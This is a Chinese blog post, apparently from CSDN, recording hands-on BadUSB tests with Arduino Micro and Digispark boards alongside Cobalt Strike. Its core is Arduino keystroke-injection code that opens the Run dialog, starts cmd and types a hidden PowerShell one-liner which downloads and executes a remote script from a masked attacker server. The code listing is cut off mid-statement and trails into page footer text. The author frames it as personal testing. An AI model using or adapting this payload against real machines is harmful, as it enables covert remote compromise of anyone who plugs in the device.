曾经很火的BADUSB测试记录

BADUSB实战

0、前言

最近在做个针对BADUSB的专题,所以静下心来对这这方面做了一些简单的测试和研究,正好可以结合Cobalt Strike、结合其他功能代码做个联合测试。所以斥资花了50多块钱买了USB开发板。
在正文开始之前,先炫耀一下自己的测试装备。
在这里插入图片描述
1.机械键盘
买了个键线分离,三模机械键盘,虽然手感和顶级的没法比,但是好在支持蓝牙、支持热插拔、支持充电电池的内卷键盘。
支持蓝牙的好处是可以连接手机远程登录VPS。
同时支持3个设备配对,笔记本和手机之间无缝切换,穿格子衫的快乐就是这么简单。
然后花了几十块钱买了个茶轴和白色键帽,也就是说有2套轴,2套帽,搭配着用。
2.显示器
同事做测试的显示器,这个没有花钱,临时借用。因为是很老的显示器,最高分辨率只到1600*900,凑合用吧。
至少支持kali虚拟机扩展到显示器,相当于2台主机。

1、准备工作

关于BadUSB的原理、介绍、危害、防范详情请查看网上文档。这里直接来干货。
a。首先需要一个开发板,网店上有好多售卖的。
我买了2个,一个是Arduino Micro,一个是Digispark。
b。软件:Arduino
建议从官方下载,如果是Arduino开发板的话,官方下载的安装版本自带驱动,不需要另外安装。我没有使用绿色免安装版。
c。准备一台VPS,如果没有条件可以使用本地局域网环境。
d。下载BadUSB脚本,github上有一个不错的。
https://github.com/Xyntax/BadUSB-code

2、测试过程

2.1 制作BADUSB

a。将BADUSB插入笔记本,打开Arduino,复制代码到编辑区域。

#include <Keyboard.h>
void setup(){
   
   //初始化 
Keyboard.begin();//开始键盘通讯 
delay(6000);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(200);
Keyboard.press('r');//r键
delay(200); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(300);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/MAIN.PS1') ");
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

骆驼1024

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值